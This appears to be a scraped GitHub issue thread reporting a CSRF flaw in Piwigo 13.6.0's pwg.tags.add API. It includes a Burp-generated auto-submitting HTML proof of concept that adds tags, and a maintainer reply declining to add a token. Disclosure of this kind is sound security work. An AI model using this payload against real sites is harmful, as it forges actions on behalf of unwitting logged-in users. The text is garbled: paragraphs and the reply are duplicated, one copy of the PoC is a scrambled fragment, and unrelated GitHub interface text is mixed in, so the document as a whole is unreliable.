Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation
This vulnerability lies in the 'add tags' function in the backend.

Try creating a new label here.

Use burpsuite to intercept this request.

You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.

Execute this poc,note that there are no tags here at this time


After executing the POC, it was found that there were new tags added


//CSRF POC:
`<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/piwigo/ws.php?format=json&method=pwg.tags.add" method="POST">
<input type="hidden" name="name" value="test" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
`
Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation
<!-- github-sync-id:1690372075 -->
You're right, there is no pwg_token parameter on the pwg.tags.add API method. We don't plan to have one. Adding a tag is not much of a problem and I don't want to break the 3rd party apps using this method.
We already have this parameter (preventing from CSRF attacks) on pwg.tags.delete or pwg.tags.merge.
You're right, there is no `pwg_token` parameter on the `pwg.tags.add` API method. We don't plan to have one. Adding a tag is not much of a problem and I don't want to break the 3rd party apps using this method.
We already have this parameter (preventing from CSRF attacks) on `pwg.tags.delete` or `pwg.tags.merge`.
<!-- github-comment-id:1535889768 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
This vulnerability lies in the 'add tags' function in the backend.

Try creating a new label here.

Use burpsuite to intercept this request.

You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.

Execute this poc,note that there are no tags here at this time


After executing the POC, it was found that there were new tags added


<script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </html> `//CSRF POC:
`<html>
Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation
The poc I provided seems to have been filtered by Github, but the picture I provided already contains this poc
Oh, I forgot, the affected version is the latest 13.6.0
You're right, there is no
pwg_tokenparameter on thepwg.tags.addAPI method. We don't plan to have one. Adding a tag is not much of a problem and I don't want to break the 3rd party apps using this method.We already have this parameter (preventing from CSRF attacks) on
pwg.tags.deleteorpwg.tags.merge.